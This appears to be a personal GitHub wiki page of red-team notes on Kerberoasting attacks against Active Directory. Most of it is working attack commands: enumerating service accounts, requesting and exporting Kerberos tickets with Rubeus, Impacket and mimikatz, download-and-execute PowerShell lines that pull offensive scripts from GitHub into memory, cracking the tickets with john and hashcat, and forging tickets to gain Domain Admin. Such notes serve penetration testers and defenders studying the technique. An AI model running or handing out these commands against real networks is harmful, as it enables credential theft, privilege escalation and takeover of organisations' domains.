Kerberoasting - CraigDonkin/Infrastructure GitHub Wiki
- Request Service Ticket (TGS) for any service that has a registered SPN in a user or computer account in AD
- SPNs are service principal names
- "a unique identifier of a service instance. SPNs are used by kerberos authentication to associate a service instance with a service logon account"
- Crack the service account plaintext password offline
- Attacker gets a TGT from the domain controller after authenticating to the domain with some compromise creds
- The attacker uses the TGT to issue a service ticket request for a SPN in the form sname/host
- The DC extracts the information from the TGT and makes a service ticket
- the DC looks up which account has requested the SPN registered in its servicePrincipalName field
- The service ticket is encrypted with the hash of the account with the requested SPN registered
- Ticket is sent back to the attacker
- The attacker extracts the encrypted service ticket
- As the ticket was requested with the hash of the account linked to the requested SPN, the attacker can crack this offline to recover the account plaintext password
- Get user creds (phishing, left on a file server, password breach etc )
- Kerberoast DCs
- Attempt to crack service account passwords
- Service account passwords rarely change
- Run Blood/sharp hound
- Where can these users login? Is there a route to DA?
- Domain Admin
A lot of notes taken from https://room362.com/post/2016/kerberoast-pt1/ series of posts.
Also https://pentestlab.blog/2018/06/12/kerberoast/
Can be stealthier as you just roast account you want to roast.
ADSearch.exe --search "(&(objectCategory=user)(servicePrincipalName=*))" --attributes cn,servicePrincipalName,samAccountName
- Built into windows
- https://github.com/nidem/kerberoast
setspn -t domainanme -q */*
- Each line that starts with "CN" is an account
- the SPNs are associated with that account
- https://github.com/nullbind/Powershellery/tree/master/Stable-ish/Get-SPN
- Also tells you if and when an account has been used
- Works with PowerShell 3.0+
IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent/com/nullbind/Powershellery/master/Stable-ish/Get-SPN/Get-SPN.psm1")
Get-SPN -type service
More examples from the GitHub:
Find servers running specific services:
Get-SPN -type service -search "*www*"
Get-SPN -type service -search "MSSQLSvc*"
Get-SPN -type service -search "MSSQLSvc*" -List yes
Get-SPN -type service -search "*vnc*" -list yes | select server -Unique
Get-SPN -type service -search "MSSQLSvc*" -List yes | Select Server
Get-SPN -type service -search "MSSQLSvc*" -DomainController 192.168.1.100 -Credential domain\user
Get-SPN -type service -search "MSSQLSvc*" -List yes -DomainController 192.168.1.100 -Credential domain\user
Get-SPN -type service -search "MSSQLSvc*" -List yes -DomainController 192.168.1.100 -Credential domain\user | Select Server
Find servers where a specific user is registered to run services:
Get-SPN -type user -search "serveradmin"
Get-SPN -type user -search "sqladmin"
Get-SPN -type user -search "sqladmin" -List yes | format-table -autosize
Get-SPN -type user -search "sqladmin" -List yes | Select Server | format-table -autosize
Get-SPN -type user -search "sqladmin" -DomainController 192.168.1.100 -Credential domain\user
Get-SPN -type user -search "sqladmin" -List yes -DomainController 192.168.1.100 -Credential domain\user
Get-SPN -type user -search "sqladmin" -List yes -DomainController 192.168.1.100 -Credential domain\user | Select Server
- Incorporates the Get-SPN script#
- Works in Powershell 3.0+
- https://github.com/EmpireProject/Empire/blob/master/data/module_source/situational_awareness/network/Get-SPN.ps1
- Focuses only on accounts that are users
- Have a much higher chance of cracking
- https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.vbs
cscript GetUserSPNs.vbs
-
https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.ps1
-
Tells you the time the password was last set
PowerShell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercon tent.com/nidem/kerberoast/master/GetUserSPNs.ps1')
- Used before on red teams
- https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetUserSPNs.py
./GetUserSPNs.py -dc-ip [ip] domain/user
- -request flag will request all of the SPN tickets in John the Ripper format
load kiwi
kerberos_ticket_list
or
kiwi_cmd kerberos::list
https://github.com/cyberark/RiskySPN
Find-PotentiallyCrackableAccounts -FullData -Verbose
This script will look for ones that it thinks may be weak due to user account and password expiration .
The following will return all user accounts that have an associated SPN:
Find-PotentiallyCrackableAccounts -Domain "domain"
This will export as CSV:
Export-PotentiallyCrackableAccounts
https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/
https://github.com/PowerShellMafia/PowerSploit/tree/dev/Recon
invoke-kerberoast | fl
Invoke-Kerberoast -Domain blah | fl
This will be in the john format by default but -OutputFormat hashcat
will use hashcat format
-AdminCount
flag will only kerberoast accounts with AdminCount=1
nxc ldap <IP> -u <username> -p <password> --kerberoasting <output>
https://github.com/GhostPack/Rubeus
The Rubeus kerberos attack tool has a kerberoast option
rubeus.exe kerberoast
Kerberoast an OU and save as a text file:
rubeus.exe kerberoast /ou:<ou> /outfile:<file location>
Kerberoast a specific user:
rubeus.exe kerberoast /user:<username>
Kerberoasting a specific SPN:
rubeus.exe kerberoast /spn:<spn>
The /nowrap
is useful for cracking as the hash is on one line.
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "something/domain"
Get-TGSCipher -SPN "Domain/SPN"
PS C:\> Add-Type -AssemblyName System.IdentityModel
PS C:\> IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/nidem/kerberoast/master/GetUserSPNs.ps1") | ForEach-Object {try{New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.ServicePrincipalName}catch{}}
Once ticket is requested this is how you can get them out of the system.
kerberos::list /export
This will generate a file per ticket . The below uses the invoke-mimikatz script to pull mimikatz into memory then store the tickets as base64
PS C:\> IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1")
PS C:\> Invoke-Mimikatz -Command 'standard::base64 "kerberos::list /export" exit'
usemodule credentials/mimikatz/extract_tickets
This module just does:
standard::base64
kerberos::list /export
You can also use the following to extract ticket hashes as either john or hashcat format
usemodule credentials/invoke_kerberoast
set OutputFormat
run
https://github.com/nidem/kerberoast/blob/master/kirbi2john.py
https://github.com/magnumripper/JohnTheRipper/blob/bleeding-jumbo/run/kirbi2john.py
./kirbi2john.py blah.kirbi
https://github.com/skelsec/PyKerberoast
Obsolete now, the new version is :
https://github.com/skelsec/kerberoast
python kerberoastv2.py -a ip -b "dc=blah,dc=blah" -d domain -u username
Use Magnum Ripper https://github.com/magnumripper/JohnTheRipper
./kirbi2john.py *.kirbi > /tmp/johnkirb.txt
`./john /tmp/johnkirb.txt --wordlist
Tickets from Impacket already in crackable format
otherwise:
cat kirbi2johnoutput.txt | sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/'
./oclHashcat -m 13100 hash
What I found on a red team was to use a big wordlist then use hashcat rules such as:
- leetspeak.rule
- d3ad0ne.rule
Part of the kerberoast toolkit
https://github.com/nidem/kerberoast
./tgsrepcrack.py wordlist.txt blah.kirbi
- Tickets are signed with the NTLM hash of the password
- If ticket hash has been cracked you can rewrite the ticket with kerberoast
- Allows you to impersonate a domain user or a fake account
./kerberoast.py -p Password -r blah.kirbi -w something.kirbi -u 500
Or add user to domain admin group:
./kerberoast.py -p Password1 -r 1-blah.kirbi -w something.kirbi -g 512
The following would inject back into RAM with Mimicatz
``kerberos::ptt something.kirbi`
https://room362.com/post/2016/kerberoast-pt3/
https://room362.com/post/2016/kerberoast-pt1/
https://room362.com/post/2016/kerberoast-pt2